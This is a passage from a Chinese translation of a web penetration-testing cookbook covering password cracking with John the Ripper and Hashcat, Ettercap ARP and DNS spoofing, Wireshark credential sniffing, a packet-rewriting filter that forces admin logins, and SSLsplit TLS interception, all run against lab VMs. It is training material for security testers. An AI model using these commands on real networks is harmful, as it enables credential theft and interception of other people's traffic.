可以将函数储存为环境变量,这个是漏洞的核心。在函数结束之后,解析器会继续解释(并执行)命令,这允许我们执行第二个部分`echo "Vulnerable:`,这是简单返回输入的命令。 597 | 598 | Web 服务器中存在漏洞,因为 CGI 事先将请求的所有部分映射为环境变量,所以这个攻击通过`User-Agent`或者`Accept-Language`也能工作。 599 | 600 | 一旦我们知道了服务器存在漏洞,我们键入测试命令`ifconfig`并建立反向 shell`。 601 | 602 | 反向 shell 是一种远程 shell,它的特点是由受害者主机初始化,攻击者监听连接,而不是服务器在绑定连接中等待客户端的连接。 603 | 604 | ## 7.8 使用 John the Ripper 和字典来破解密码哈希 605 | 606 | 在上一个秘籍,以及第六章中,我们从数据库中提取了密码哈希。在执行渗透测试的时候,有时候这是唯一的用于发现密码的方式。为了发现真实的密码,我们需要破译它们。由于哈希由不可逆的函数生成,我们没有办法直接解密密码。所以使用慢速的方法,例如暴力破解和字典攻击就很有必要。 607 | 608 | 这个秘籍中,我们会使用 John the Ripper(JTR 或 John),最流行的密码破解器,从第六章“逐步执行基本的 SQL注入”秘籍中提取的哈希中恢复密码。 609 | 610 | ### 操作步骤 611 | 612 | 1. 虽然 JTR 对接受的输入非常灵活,为了防止错误解释,我们首先需要以特定格式设置用户名和密码哈希。创建叫做`hashes_6_7.txt`的文本文件,每行包含一个名称和一个哈希,以冒号分隔(`username:hash`),像这样: 613 | 614 | ![](img/7-8-1.jpg) 615 | 616 | 2. 一旦我们拥有了这个文件,我们可以打开终端并执行下列命令: 617 | 618 | ``` 619 | john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt 620 | ``` 621 | 622 | ![](img/7-8-2.jpg) 623 | 624 | 我们使用 Kali 预置的单词列表之一。我们可以看到单词列表中六个密码发现了五个,我们也能发现,John 每秒能比较 10,336,000 次(10,336 KC/s)。 625 | 626 | 3. John 也有选项来应用修改器规则 -- 添加前后缀,修改大小写,以及在每个密码上使用 leetspeak。让我们在仍然未破解的密码上尝试它们: 627 | 628 | ``` 629 | john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 hashes_6_7.txt –rules 630 | ``` 631 | 632 | ![](img/7-8-3.jpg) 633 | 634 | 我们可以看到这个规则生效了,我们得到了最后一个密码。 635 | 636 | ### 工作原理 637 | 638 | John(以及任何离线密码破解器)的工作方式是计算列表(或所生成的)单词的哈希,并将它们与需要被破解的哈希对比,当存在匹配时,它就假设密码找到了。 639 | 640 | 第一个命令使用`--wordlist`选项告诉 John 要使用什么单词。如果忽略了它,它会生成自己的列表来执行爆破攻击。`--format`选项告诉我们要使用什么算法来生成哈希,如果这个选项被忽略,John 会猜测它,通常带有不错的结果。最后,我们将包含想要破解的哈希的文件传入。 641 | 642 | 3. 我们可以通过使用`--rules`选项来增加找到密码的机会,因为在尝试创建更强的密码来破解的时候,它会使用人们对单词所做的常用修改。例如,对于`password`,John也会尝试下面的东西: 643 | 644 | + `Password` 645 | + `PASSWORD` 646 | + `password123` 647 | + `Pa$$w0rd` 648 | 649 | ## 7.9 使用 oclHashcat/cudaHashcat 爆破密码哈希 650 | 651 | 最近,显卡的发展取得了巨大突破,这种芯片中含有成百上千个处理器,它们都并行工作。这里,当应用在密码破解上是,这意味着,如果单个处理每秒可以计算一万个哈希,一个带有上千内核的 GPU 就能够计算一千万个。这可以将破解时间降至一千分之一。 652 | 653 | 现在我们使用 Hashcat 的 GPU 版本来爆破密码。如果你在 N 卡的电脑上安装的 Kali,你需要 cudeHashcat。如果它安装在 A 卡的电脑上,则需要 oclHashcat。如果你在虚拟机上安装 kali,GPU 破解可能不工作,但是你始终可以在你的主机上安装它,Windows 和 Linux 上都有它的版本。 654 | 655 | 这个秘籍中,我们会使用 oclHashcat,它和 cudaHashcat 的命令没有区别,虽然 A 卡对于密码破解更加高效。 656 | 657 | ### 准备 658 | 659 | 我们需要确保你正确安装了显卡驱动,oclHashcat 也兼容它们,所以你需要做这些事情: 660 | 661 | 1. 单独运行 oclHashcat,如果出现问题它会告诉你。 662 | 663 | ``` 664 | oclhashcat 665 | ``` 666 | 667 | 2. 测试它在跑分模式中支持的每种算法的哈希率。 668 | 669 | ``` 670 | oclhashcat --benchmark 671 | ``` 672 | 673 | 3. 取决于你的安装,oclHahcat 可能需要在你的特定显卡上强行工作: 674 | 675 | ``` 676 | oclhashcat --benchmark --force 677 | ``` 678 | 679 | 我们会使用上一个秘籍的相同哈希文件。 680 | 681 | Kali 默认安装的 oclHashcat 上有一些问题,所以如果你在运行 oclHashcat 的时候出现了问题,你始终可以从官网上下载最新版本,并从你解压的地方直接运行(`http://hashcat.net/ oclhashcat/`)。 682 | 683 | ### 操作步骤 684 | 685 | 1. 我们首先破解单个哈希,让我们试试`admin`的哈希: 686 | 687 | ``` 688 | oclhashcat -m 0 -a 3 21232f297a57a5a743894a0e4a801fc3 689 | ``` 690 | 691 | ![](img/7-9-1.jpg) 692 | 693 | 你可以看到,我们能够直接从命令行中设置哈希,它会在一秒之内破解出来。 694 | 695 | 2. 现在,为了破解整个文件,我们需要去掉用户名,只保留哈希,像这样: 696 | 697 | ![](img/7-9-2.jpg) 698 | 699 | 我们创建了只包含哈希的新文件。 700 | 701 | 3. 为了破解文件中的哈希,我们只需要在上一条命令中将哈希替换为文件名称。 702 | 703 | ``` 704 | oclhashcat -m 0 -a 3 hashes_only_6_7.txt 705 | ``` 706 | 707 | ![](img/7-9-3.jpg) 708 | 709 | 你可以看到,它在三分钟之内涵盖了一到七个字符的所有组合(每秒破解 6.885 亿个哈希)。并且它需要花费多于两个小时来测试八个字符的所有组合。这对于爆破来说十分有效。 710 | 711 | ### 工作原理 712 | 713 | 在这个秘籍中,我们用于执行`oclHahcat`的参数定义了要使用的哈希算法:`-m 0`告诉程序使用 MD5 来计算所生成单词的哈希,以及攻击类型,`-a 3`的意思是我们打算使用纯爆破攻击,并尝试所有可能的字符组合,直到发现了密码。最后,我们在第一种情况中添加了我们打算破解的哈希,第二种情况中我们添加了包含哈希集合的文件。 714 | 715 | oclHahcat 也可以使用字典文件来执行混合攻击(爆破加上字典)来定义要测试哪个字符集,并将结果保存到指定文件中(`/usr/share/oclhashcat/oclHashcat.pot`)。他也可以对单词应用规则,并使用统计模型(马尔科夫链)来增加破解效率。使用`--help`命令来查看所有选项,像这样: 716 | 717 | ``` 718 | oclhashcat --help 719 | ``` 720 | -------------------------------------------------------------------------------- /ch8.md: -------------------------------------------------------------------------------- 1 | # 第八章 中间人攻击 2 | 3 | > 作者:Gilberto Najera-Gutierrez 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 中间人(MITM)攻击是一种攻击类型,其中攻击者将它自己放到两方之间,通常是客户端和服务端通信线路的中间。这可以通过破坏原始频道之后拦截一方的消息并将它们转发(有时会有改变)给另一方来实现。 12 | 13 | 让我们观察下面这个例子: 14 | 15 | ![](img/8-0-1.jpg) 16 | 17 | Alice 连接到了 Web 服务器上,Bob打算了解 Alice 正在发送什么信息。于是 Bob 建立 MITM 攻击,通过告诉服务器他是 Alice,并且告诉 Alice 他是服务器。现在,所有 Alice 的请求都会发给 Bob,Bob 会将它们转发给服务器,并对服务器的响应做相同操作。这样,Bob 就能够拦截、读取或修改所有 Alice 和服务器之间的流量。 18 | 19 | 虽然 MITM 攻击并不特定与 Web 攻击,了解如何执行它们,以及如何防止它们,对于任何渗透测试者都非常重要,因为它们可以用于偷取密码,劫持会话,或者执行 Web 应用中的非授权操作。 20 | 21 | 这一章中,我们会建立起中间人攻击,并使用它来获得信息,以及执行更加复杂的攻击。 22 | 23 | ## 8.1 使用 Ettercap 执行欺骗攻击 24 | 25 | 地址解析协议(ARP)欺骗可能是最常见的 MITM 攻击。它基于一个事实,就是 ARP 并不验证系统所收到的响应。这就意味着,当 Alice 的电脑询问网络上的所有设备,“IP 为 xxx.xxx.xxx.xxx 的机器的 MAC 地址是什么”时,它会信任从任何设备得到的答复。该设备可能是预期的服务器,也可能是不是。ARP 欺骗或毒化的工作方式是,发送大量 ARP 响应给通信的两端,告诉每一端攻击者的 MAC 地址对应它们另一端的 IP 地址。 26 | 27 | 这个秘籍中,我们会使用Ettercap 来执行 ARP 欺骗攻击,并将我们放到客户端和服务器之间。 28 | 29 | ### 准备 30 | 31 | 对于这个秘籍,我们会使用第一章配置的客户端虚拟机,和vulnerable_vm。客户端的 IP 是 192.168.56.101,vulnerable_vm 是 192.168.56.102。 32 | 33 | ### 操作步骤 34 | 35 | 1. 将两个虚拟机打开,我们的 Kali Linux(192.168.56.1)主机是攻击者的机器。打开终端窗口并输入下列命令: 36 | 37 | ``` 38 | ettercap –G 39 | ``` 40 | 41 | 从 Ettercap 的主菜单中,选择`Sniff | Unified Sniffing`。 42 | 43 | 2. 在弹出的对话框中选择你打算使用的网络接口,这里我们选择`vboxnet0`,像这样: 44 | 45 | ![](img/8-1-1.jpg) 46 | 47 | 3. 既然我们嗅探了网络,下一步就是识别哪个主机正在通信。访问主菜单的`Hosts`之后选择`Scan for hosts`。 48 | 49 | 4. 从我们发现的主机中,选择我们的目标。从`Hosts `菜单栏中选择`Hosts list`。 50 | 51 | ![](img/8-1-2.jpg) 52 | 53 | 5. 从列表中选择`192.168.56.101`,并点击`Add to Target 1`。 54 | 55 | 6. 之后选择`192.168.56.102 `,之后点击`Add to Target 2`。 56 | 57 | 7. 现在我们检查目标:在`Targets`菜单中,选择` Current targets`。 58 | 59 | ![](img/8-1-3.jpg) 60 | 61 | 8. 我们现在准备好了开始欺骗攻击,我们的位置在服务器和客户端中间,在`Mitm `菜单中,选择`ARP poisoning`。 62 | 63 | 9. 在弹出的窗口中,选中`Sniff remote connections`,然后点击`OK`。 64 | 65 | ![](img/8-1-4.jpg) 66 | 67 | 这就结束了,我们现在可以看到在客户端和服务端之间的流量。 68 | 69 | ### 工作原理 70 | 71 | 在我们键入的第一个命令中,我们告诉 Ettercap 启动 GTK 界面。 72 | 73 | > 其它界面选项为`-T`启动文本界面,`-C`启动光标(以 ASCII 文本),`-D`运行为守护进程,没有界面。 74 | 75 | 之后,我们启动了 Ettercap 的嗅探功能。统一模式意味着我们会通过单一网络接口接受并发送信息。当我们的目标通过不同网络接口到达时,我们选择桥接模式。例如,如果我们拥有两个网卡,并且通过其一连接到客户端,另一个连接到服务端。 76 | 77 | 在嗅探开始之后,我们选择了目标。 78 | 79 | > 事先选择你的目标 80 | 81 | > 单次攻击中,选择唯一必要主机作为目标非常重要,因为毒化攻击会生成大量网络流量,并导致所有主机的性能问题。在开始 MITM 攻击之前,弄清楚那两个系统会成为目标,并仅仅欺骗这两个系统。 82 | 83 | 一旦设置了目标,我们就可以开始 ARP 毒化攻击。`Sniffing remote connections`意味着 Ettercap 会捕获和读取所有两端之间的封包,`Only poison one way`在我们仅仅打算毒化客户端,而并不打算了解来自服务器或网关的请求时(或者它拥有任何对 ARP 毒化的保护时)非常实用。 84 | 85 | ## 8.2 使用 Wireshark 执行 MITM 以及捕获流量 86 | 87 | Ettercap 可以检测到经过它传播的相关信息,例如密码。但是,在渗透测试的时候,它通常不足以拦截一些整数,我们可能要寻找其他信息,类似信用卡的号码,社会安全号码,名称,图片或者文档。拥有一个可以监听网络上所有流量的工具十分实用,以便我们保存和之后分析它们。这个工具是个嗅探器,最符合我们的目的的工具就是 Wireshark,它包含于 Kali Linux。 88 | 89 | 这个秘籍中,我们会使用 Wireshark 来捕获所有在客户端和服务端之间发送的封包来获取信息。 90 | 91 | ### 准备 92 | 93 | 在开始之前我们需要让 MITM 工作。 94 | 95 | ### 操作步骤 96 | 97 | 1. 从 Kali `Applications`菜单的`Sniffing & Spoofing`启动 Wireshark,或者从终端中执行: 98 | 99 | ``` 100 | wireshark 101 | ``` 102 | 103 | 2. 当 Wireshark 加载之后,选项你打算用于捕获封包的网卡。我们这里选择`vboxnet0`,像这样: 104 | 105 | ![](img/8-2-1.jpg) 106 | 107 | 3. 之后点击`Start`。你会立即看到 Wireshark 正在捕获 ARP 封包,这就是我们的攻击。 108 | 109 | 110 | ![](img/8-2-2.jpg) 111 | 112 | 4. 现在,来到客户端虚拟机,浏览`http://192.168.56.102/ dvwa`,并登陆 DVWA。 113 | 114 | 5. 在 Wireshark 中的`info `区域中,查找来自`192.168.56.101`到`192.168.56.102`,带有 POST `/dvwa/login.php` 的 HTTP 封包。 115 | 116 | ![](img/8-2-3.jpg) 117 | 118 | 如果我们浏览所有捕获的封包,我们会看到一个封包对应授权,并会看到我们可以以纯文本获得用户名和密码。 119 | 120 | > 使用过滤器 121 | 122 | > 我们可以在 Wireshark 中使用过滤器来只展示我们感兴趣的封包。例如,为了只查看 登录页面的 HTTP 请求,我们可以使用:`http. request.uri contains "login"`。 123 | 124 | 如果我们查看 Ettercap 的窗口,我们也能看到用户名和密码,像这样: 125 | 126 | ![](img/8-2-4.jpg) 127 | 128 | 通过捕获客户端和服务端之间的流量,攻击者能够提取和利用所有类型的敏感信息,例如用户名、密码、会话 Cookie、账户号码、信用卡号码、私人邮件,以及其它。 129 | 130 | ### 工作原理 131 | 132 | Wireshark 监听每个我们选择监听的接口上的封包,并在它的界面中显示。我们可以选择监听多个接口。 133 | 134 | 当我们首先启动嗅探的时候,我们了解了 ARP 欺骗如何工作。它发送大量 ARP 封包给客户端和服务端,以便防止它们的地址解析表(ARP 表)从正当的主机获得正确的值。 135 | 136 | 最后,当我们向服务器发送请求时,我们看到了 Wireshark 如何捕获所有包含在请求中的信息,包含协议、来源和目的地 IP。更重要的是,它包含了由客户端发送的数据,其中包含管理员密码。 137 | 138 | ### 另见 139 | 140 | 研究 Wireshark 数据有一些无聊,所以了解如何在捕获封包时使用显示过滤器非常重要。你可以访问下列站点来了解更多信息。 141 | 142 | + https://www.wireshark.org/docs/wsug_html_chunked/ChWorkDisplayFilterSection.html 143 | + https://wiki.wireshark.org/DisplayFilters 144 | 145 | 使用 Wireshark,你可以通过捕获过滤器来选择捕获哪种数据。这是非常实用的特性,尤其是执行 MITM攻击时生成大量流量的时候。你可以从下列站点中阅读更多信息。 146 | 147 | + https://www.wireshark.org/docs/wsug_html_chunked/ChCapCaptureFilterSection.html 148 | + https://wiki.wireshark.org/CaptureFilters 149 | 150 | ## 8.3 修改服务端和客户端之间的数据 151 | 152 | 在执行 MITM 攻击时,我们不仅仅能够监听在受害者系统之间发送的任何数据,也能够修改请求和响应,因而按照我们的意图调整它们的行为。 153 | 154 | 这个秘籍中,我们会使用 Ettercap 过滤器来检测封包是否包含我们感兴趣的信息,并触发改变后的操作。 155 | 156 | ### 准备 157 | 158 | 在开始之前我们需要让 MITM 工作。 159 | 160 | ### 操作步骤 161 | 162 | 1. 我们的第一步是创建过滤器文件。将下列代码保存到文本文件中(我们命名为`regex-replace-filter.filter`): 163 | 164 | ``` 165 | # If the packet goes to vulnerable_vm on TCP port 80 (HTTP) 166 | if (ip.dst == '192.168.56.102'&& tcp.dst == 80) { 167 | # if the packet's data contains a login page 168 | if (search(DATA.data, "POST")){ 169 | msg("POST request"); 170 | if (search(DATA.data, "login.php") ){ 171 | msg("Call to login page"); 172 | # Will change content's length to prevent server from failing 173 | pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41"); 174 | msg("Content Length modified"); 175 | # will replace any username by "admin" using a regular expression 176 | if (pcre_regex(DATA.data, "username=[a-zAZ]*&","username=admin&")) { 177 | msg("DATA modified\n"); 178 | } 179 | msg("Filter Ran.\n"); 180 | } 181 | } 182 | } 183 | ``` 184 | 185 | > `#` 符号使注释。这个语法非常类似于 C,除了注释和一些不同。 186 | 187 | 2. 下面我们需要为 Ettercap 编译过滤器来使用它。从终端中,执行下列命令。 188 | 189 | ``` 190 | etterfilter -o regex-replace-filter.ef regex-replace-filter.filter 191 | ``` 192 | 193 | ![](img/8-3-1.jpg) 194 | 195 | 3. 现在,从 Ettercap 的菜单中,选择`Filters | Load a filter`,后面是`regexreplace-filter.ef`,并点击`Open`。 196 | 197 | 我们会看到 Ettercap 的日志窗口中出现新的条目,表明新的过滤器已经加载了。 198 | 199 | ![](img/8-3-2.jpg 200 | 201 | 4. 在客户端中,浏览` http://192.168.56.102/dvwa/ `并使用密码`admin`登陆任意用户,例如:`inexistentuser: admin`。 202 | 203 | ![](img/8-3-3.jpg) 204 | 205 | 用户现在登陆为管理员,并且攻击者拥有了对两个用户都生效的密码。) 206 | 207 | 5. 如果我们检查 Ettercap 的日志,我们可以看到我们编写在代码中的消息会出现在这里,像这样: 208 | 209 | ![](img/8-3-4.jpg) 210 | 211 | ### 工作原理 212 | 213 | ARP 欺骗攻击是更加复杂的攻击的开始。这个秘籍中,我们使用了 Ettercap 的封包过滤功能来识别带有特定内容的封包,并修改它来强制让用户以管理员登录应用。这也可以从服务端到客户端来完成,可以用来通过展示一些伪造信息来欺骗用户。 214 | 215 | 我们的第一步是创建过滤脚本,它首先检查被分析的封包是否含有我们打算改变的信息,像这样: 216 | 217 | ``` 218 | if (ip.dst == '192.168.56.102'&& tcp.dst == 80) { 219 | ``` 220 | 221 | 如果目标 IP 是 vulnerable_vm之一,且 TCP 端口是 80(默认 HTTP 端口号),它就是发往我们打算拦截的服务器的请求。 222 | 223 | ``` 224 | if (search(DATA.data, "POST")){ 225 | msg("POST request"); 226 | if (search(DATA.data, "login.php") ){ 227 | ``` 228 | 229 | 如果请求使用 POST 方法,且去往`login.php`页面,它就是登录尝试,因为这是我们的目标应用接收登录尝试的方式。 230 | 231 | ``` 232 | pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41"); 233 | ``` 234 | 235 | 我们使用正则表达式来获取请求中的`Content-Length`参数,并将它的值改为 41,这是我们发送带有`admin/admin`凭证的登录封包的长度。 236 | 237 | ``` 238 | if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){ 239 | msg("DATA modified\n"); 240 | } 241 | ``` 242 | 243 | 同样,使用正则表达式,我们在请求中查找用户名称值,并将它替换为`admin`。 244 | 245 | 消息(`msg`)仅仅用于跟踪和调试目的,可以被从脚本中忽略。 246 | 247 | 在编写完脚本之后,我们使用 Ettercap 的 etterfilter 编译他,以便执行它。之后,我们在 Ettercap 中加载它,然后等待客户端连接。 248 | 249 | ## 8.4 发起 SSL MITM 攻击 250 | 251 | 如果我们使用我们目前的方法嗅探 HTTPS 会话,我们不能从中得到很多信息,因为所有通信都是加密的。 252 | 253 | 为了拦截、读取和修改 SSL 和 TLS 的连接,我们需要做一系列准备步骤,来建立我们的 SSL 代理。SSLsplit 的仿作方式是使用两个证书,一个用于告诉服务器这是客户端,以便它可以接收和解密服务器的响应,另一个告诉客户端这是服务器。对于第二个证书,如果我们打算代替一个拥有自己的域名的网站,并且它的证书由认证中心(CA)签发,我们就需要让 CA 为我们签发根证书,但因为我们是攻击者,我们就需要自己来做。 254 | 255 | 这个秘籍中,我们会配置我们自己的 CA,以及一些 IP 转发规则来执行 SSL 中间人攻击。 256 | 257 | ### 操作步骤 258 | 259 | 1. 首先,我们打算在 Kali 上创建 CA 私钥,所以在 root 终端中键入下列命令: 260 | 261 | ``` 262 | openssl genrsa -out certaauth.key 4096 263 | ``` 264 | 265 | 2. 现在让我们创建一个使用这个密钥签名的证书: 266 | 267 | ``` 268 | openssl req -new -x509 -days 365 -key certauth.key -out ca.crt 269 | ``` 270 | 271 | 3. 填充所需信息(或者仅仅对每个字段按下回车)。 272 | 273 | 4. 下面,我们需要开启 IP 转发来开启系统的路由功能(将目标不是本地主机的 IP 包转发到网关): 274 | 275 | ``` 276 | echo 1 > /proc/sys/net/ipv4/ip_forwar 277 | ``` 278 | 279 | 5. 现在我们打算配置一些会泽来防止转发任何东西。首先,让我们检查我们的 iptables 的`nat`表中是否有任何东西: 280 | 281 | ``` 282 | iptables -t nat -L 283 | ``` 284 | 285 | ![](img/8-4-1.jpg) 286 | 287 | 6. 如果有东西,你可能打算备份一下,因为我们会刷新它们,如下: 288 | 289 | ``` 290 | iptables -t nat -L > iptables.nat.bkp.txt 291 | ``` 292 | 293 | 7. 现在让我们刷新整个表。 294 | 295 | ``` 296 | iptables -t nat -F 297 | ``` 298 | 299 | 8. 之后我们建立 PREROUTING 规则: 300 | 301 | ``` 302 | iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --toports 8080 303 | iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --toports 8443 304 | ``` 305 | 306 | 现在我们已经准备好嗅探加密连接。 307 | 308 | ### 工作原理 309 | 310 | 这个秘籍中,我们配置了 Kali 主机来充当 CA,这意味着它可以校验 SSLsplit 使用的证书。在前两步中,我们仅仅创建了私钥,和使用私钥签名的证书。 311 | 312 | 下面,我们建立了端口转发规则。我们首先开启了转发选项,之后创建了 iptables 规则来将 80 端口的请求转发到 443(HTTP 到 HTTPS)。这是为了重定向请求。我们的 MITM 攻击会拦截 SSLsplit,便于它使用一个证书来解密收到的消息、处理它,使用另一个证书加密并发送到目的地。 313 | 314 | ### 另见 315 | 316 | 你应该了解更多加密证书以及 SSL 和 TLS 协议,还有 SSLsplit,可以访问这里: 317 | 318 | + https://en.wikipedia.org/wiki/Public_key_certificate 319 | + https://www.roe.ch/SSLsplit 320 | + https://en.wikipedia.org/wiki/Iptables 321 | + `man iptables` 322 | 323 | ## 8.5 使用 SSLsplit 获得 SSL 数据 324 | 325 | 在之前的密集中,我们准备了环境来攻击 SSL/TLS 连接。而这个秘籍中,我们会使用 SSLsplit 来完成 MITM 攻击并从加密连接中提取信息。 326 | 327 | ### 准备 328 | 329 | 我们需要在开始秘籍之前执行 ARP 欺骗攻击,并成功完成了上一个秘籍。 330 | 331 | ### 操作步骤 332 | 333 | 1. 首先,我们需要创建目录,其中 SSLsplit 在里面存放日志。打开终端并创建两个目录,像这样: 334 | 335 | ``` 336 | mkdir /tmp/sslsplit 337 | mkdir /tmp/sslsplit/logdir 338 | ``` 339 | 340 | 2. 现在,让我们启动 SSLSplit: 341 | 342 | ``` 343 | sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir -k certauth.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080 344 | ``` 345 | 346 | ![](img/8-5-1.jpg) 347 | 348 | 3. 现在,SSLSplit 正在运行,Windows 客户端和 vulnerable_vm 之间存在 MITM,来到客户端并访问` https://192.168.56.102/dvwa/`。 349 | 350 | 4. 浏览器会要求确认,因为我们的 CA 和证书并不是被任何浏览器官方承认的。设置例外并继续。 351 | 352 | ![](img/8-5-2.jpg) 353 | 354 | 5. 现在登录 DVWA ,使用管理员用户和密码。 355 | 356 | 6. 让我们看看 SSLSplit 中发生了什么。打开新的终端并检查日志内容,在我们为 SSLSplit 创建的目录中: 357 | 358 | ``` 359 | ls /tmp/sslsplit/logdir/ 360 | cat /tmp/sslsplit/logdir/* 361 | ``` 362 | 363 | ![](img/8-5-3.jpg) 364 | 365 | 现在,即使 Ettercap 和 Wireshark 只能看到加密数据,我么也可以以纯文本在 SSLSplit 中查看通信。 366 | 367 | ### 工作原理 368 | 369 | 这个秘籍中,我们继续 SSL 连接上的攻击。在第一步中,我们创建了目录,其中 SSLSplit 会将捕获到的信息存在里面。 370 | 371 | 第二部就是使用下列命令执行 SSLSplit: 372 | 373 | + `-D`:这是在前台运行 SSLSplit,并不是守护进程,并带有详细的输出。 374 | 375 | + `-l connections.log`:这将每个连接的记录保存到当前目录的` connections.log`中。 376 | 377 | + `-j /tmp/sslsplit`:这用于建立`jail directory`目录,`/tmp/sslsplit`会作为 root(`chroot`)包含 SSLSplit 的环境。 378 | 379 | + `-S logdir`:这用于告诉 SSLSplit 将内容日志(所有请求和响应)保存到`logdir`(在jail目录中),并将数据保存到单独的文件中。 380 | 381 | + `-k`和`-c`:这用于指明和充当 CA 时,SSLSplit 所使用的私钥和证书。 382 | 383 | + `ssl 0.0.0.0 8443`:这告诉 SSLSplit 在哪里监听 HTTPS(或者其它加密协议)连接。要记住这是我们在上一章中使用 iptables 从 443 转发的接口。 384 | 385 | + `tcp 0.0.0.0 8080`:这告诉 SSLSplit 在哪里监听 HTTP 连接。要记住这是我们在上一章中使用 iptables 从 80 转发的接口。 386 | 387 | 在执行这些命令之后,我们等待客户端浏览器服务器的 HTTPS 页面并提交数据,之后我们检查日志文件来发现未加密的信息。 388 | 389 | ## 8.6 执行 DNS 欺骗并重定向流量 390 | 391 | DNS 欺骗是一种攻击,其中执行 MITM 攻击的攻击者使用它来修改响应受害者的 DNS 服务器中的名称解析,发送给他们恶意页面,而不是他们请求的页面,但仍然使用有效名称。 392 | 393 | 这个秘籍中,我们会使用 Ettercap 来执行 DNS 欺骗攻击,并在受害者打算浏览别的网站时,使其浏览我们的网站。 394 | 395 | ### 准备 396 | 397 | 对于这个秘籍,我们需要使用我们的 WIndows 客户端虚拟机,但是这次网络识别器桥接到 DNS 解析中。这个秘籍中它的 IP 地址为 192.168.71.14。 398 | 399 | 攻击者的机器是我们的 Kali 主机,IP 为 192.168.71.8。它也需要运行 Apache 服务器,并拥有`index.html`演示页面,我们会包含下列东西: 400 | 401 | ```html 402 |

Spoofed SITE

403 | ``` 404 | 405 | ### 操作步骤 406 | 407 | 1. 假设我们已经启动了 Apache 服务器,并正确配置了伪造页面,让我们编辑`/etc/ettercap/etter.dns`,使它仅仅包含下面这一行: 408 | 409 | ``` 410 | * A 192.168.71.8 411 | ``` 412 | 413 | 我们仅仅设置一条规则:所有 A 记录(地址记录)都解析到`192.168.71.8`,这是我们 Kali 的地址。我们可以设置其他条目,但是我们打算在这里避免干扰。 414 | 415 | 2. 这次,我们从命令行运行 Ettercap。打开 root 终端并键入下列命令: 416 | 417 | ``` 418 | ettercap -i wlan0 -T -P dns_spoof -M arp /192.168.71.14/// 419 | ``` 420 | 421 | 它会以文本模式运行 Ettercap,并开启 DNS 欺骗插件来执行 ARP 欺骗攻击,目标仅仅设置为`192.168.71.14`。 422 | 423 | ![](img/8-6-1.jpg) 424 | 425 | 3. 启动攻击之后,我们来到客户端主机,并尝试通过网站自己的域名来浏览网站,例如,` www.yahoo.com`,像这样: 426 | 427 | ![](img/8-6-2.jpg) 428 | 429 | 要注意,现在地址和标签栏显示原始站点的名称,但是内容来自不同的地方。 430 | 431 | 4. 我们也可以尝试使用`nslookup`执行地址解析,像这样: 432 | 433 | ![](img/8-6-3.jpg) 434 | 435 | ### 工作原理 436 | 437 | 这个秘籍中,我们看到如何使用中间人攻击来强制用户浏览某个页面,他们甚至相信自己在其它站点上。 438 | 439 | 在第一步中,我们修改了 Ettercap 的名称解析文件,让它将所有请求的名称重定向到我们的 Kali 主机。 440 | 441 | 之后,我们以下列参数运行 Ettercap:`-i wlan0 -T -P dns_spoof -M arp /192.168.71.14///`。 442 | 443 | + `-i wlan0`:要技术我们需要客户端进行 DNS 解析,所以我们需要让它连接到桥接的适配器,并到达我们的 Kali 主机,所以我们将嗅探接口设为`wlan0`(攻击者计算机上的无线网卡)。 444 | 445 | + `-T`:使用纯文本界面。 446 | 447 | + `-P dns_spoof`:启动 DNS 欺骗插件。 448 | 449 | + `-M arp`:执行 ARP 欺骗攻击。 450 | 451 | + `/192.168.71.14///`:这是我们在命令行中对 Ettercap 设置目标的方式:`MAC/ip_address/port`。其中`//`表示任何对应 IP 192.168.71.14(客户端)任何端口的 MAC 地址。 452 | 453 | 最后,我们确认了攻击能够正常工作。 454 | 455 | ### 另见 456 | 457 | 也有另一个非常实用的用于这些类型攻击的工具,叫做 dnsspoof。你应该下载下来并加入工具库: 458 | 459 | ``` 460 | man dnsspoof 461 | ``` 462 | 463 | http://www.monkey.org/~dugsong/dsniff/ 464 | 465 | 另一个值得提及的工具是中间人攻击框架:MITMf。它包含内建的 ARP 毒化、DNS 欺骗、WPAD 代理服务器,以及其它攻击类型的功能。 466 | 467 | ``` 468 | mitmf --help 469 | ``` 470 | -------------------------------------------------------------------------------- /ch9.md: -------------------------------------------------------------------------------- 1 | # 第九章 客户端攻击和社会工程 2 | 3 | > 作者:Gilberto Najera-Gutierrez 4 | 5 | > 译者:[飞龙](https://github.com/) 6 | 7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 8 | 9 | ## 简介 10 | 11 | 我们目前所见的大部分技巧都尝试利用服务端的漏洞或设计缺陷,并访问它来从数据库中提取信息。有另外一种攻击,使用服务器来利用用户软件上的漏洞,或者尝试欺骗用户来做一些他们通常情况下不会做的事情,以便获得用户拥有的信息。这些攻击就叫做客户端攻击。 12 | 13 | 这一章中,我们会复查一些由攻击者使用,用于从客户端获得信息的技巧,通过社会工程、欺骗或利用软件漏洞。 14 | 15 | 虽然它并不和 Web 应用渗透测试特定相关,我们会涉及它们,因为大多数都是基于 web 的,并且都是非常常见的场景,其中我们在攻击客户端时,能够访问应用和服务器。所以,了解攻击者如何执行这类攻击,对于渗透测试者来说非常重要。 16 | 17 | ## 9.1 使用 SET 创建密码收集器 18 | 19 | 社会工程攻击可能被认为是客户端攻击的特殊形式。在这种攻击中,攻击者需要说服用户,相信攻击者是可信任的副本,并且有权接收用户拥有的一些信息。 20 | 21 | SET 或社会工程工具包(`https://www.trustedsec.com/social-engineertoolkit/`)是一套工具,为执行针对人性的攻击而设计。这类攻击,包括网络钓鱼、邮件群发、SMS、伪造无线接入点、恶意网站、感染性媒体,以及其它。 22 | 23 | 这个秘籍中,我们会使用 SET 来创建密码收集器网页,并看看它如何工作,以及攻击者如何使用它来盗取用户密码。 24 | 25 | ### 操作步骤 26 | 27 | 1. 在 root 终端中输入下列命令: 28 | 29 | ``` 30 | setoolkit 31 | ``` 32 | 33 | ![](img/9-1-1.jpg) 34 | 35 | 2. 